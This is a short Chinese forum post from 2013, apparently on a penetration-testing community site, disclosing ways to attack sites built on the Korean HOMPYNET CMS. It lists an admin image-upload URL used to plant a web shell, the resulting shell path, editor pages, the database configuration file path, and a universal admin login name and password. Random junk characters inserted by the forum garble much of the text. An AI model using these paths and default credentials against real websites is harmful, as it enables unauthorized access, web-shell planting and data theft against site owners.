中国网络渗透测试联盟

标题: 韩国HOMPYNET CMS漏洞 [打印本页]
作者: admin    时间: 2013-3-14 20:12
标题: 韩国HOMPYNET CMS漏洞
上传漏洞  :8 [& b5 j9 {. |  S; [  L4 K
, T1 A, {- ~/ n9 w: y! [, G
http://www.xxx.com/admin/image_a ... p;iname=&iform=' n) @) x" m3 H  a2 ^5 m

1 T8 Y$ y9 N/ T/ I3 v: phttp://www.xxx.com/admin/image_a ... p;iname=&iform=
! l& T1 e% t6 |! h8 u; _  M) B8 @, L, k  K/ q4 E3 W8 m
上传后路径：) j, }& y: E  Y8 B( W

  W  V5 L9 a  L& d( Thttp://www.xxx.com/bis_web_page/images/shell.php.en- a, F# s; |9 _4 q. T  q

3 T) `+ M( d; F5 ?( a编辑器：
  y5 V- t1 P; N& t. O: `' I7 {
* V- [0 J1 w* }- P( Qhttp://www.xxx.com/admin/editor/SWE.php
. f7 o7 Y* y1 z% b2 f+ b! T) c
8 f, G8 ?8 V7 {) d9 F9 ^$ ahttp://www.xxx.com/program/editor/SWE.php
! f5 x9 l4 e# O3 _7 w8 d0 L4 D
' l% e2 D: v% y8 l数据配置文件路径：
8 {+ m' [0 O" S$ Q- K
3 R8 ?7 ~) t, n0 _http://www.xxx.com/m_config/DATA/g_setting.php; m6 u/ k7 V% G0 i' q9 I7 L; o

) N8 i( o6 R8 o; P/ f, m此程序通用后台账号 ：gamsiw  php99( _1 y- W, B5 z3 r" \

$ h2 ]# a% b/ b4 v. c​5 u# I* d: C/ |

' c& x, S" z* c% I! X$ s$ W1 A" {



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2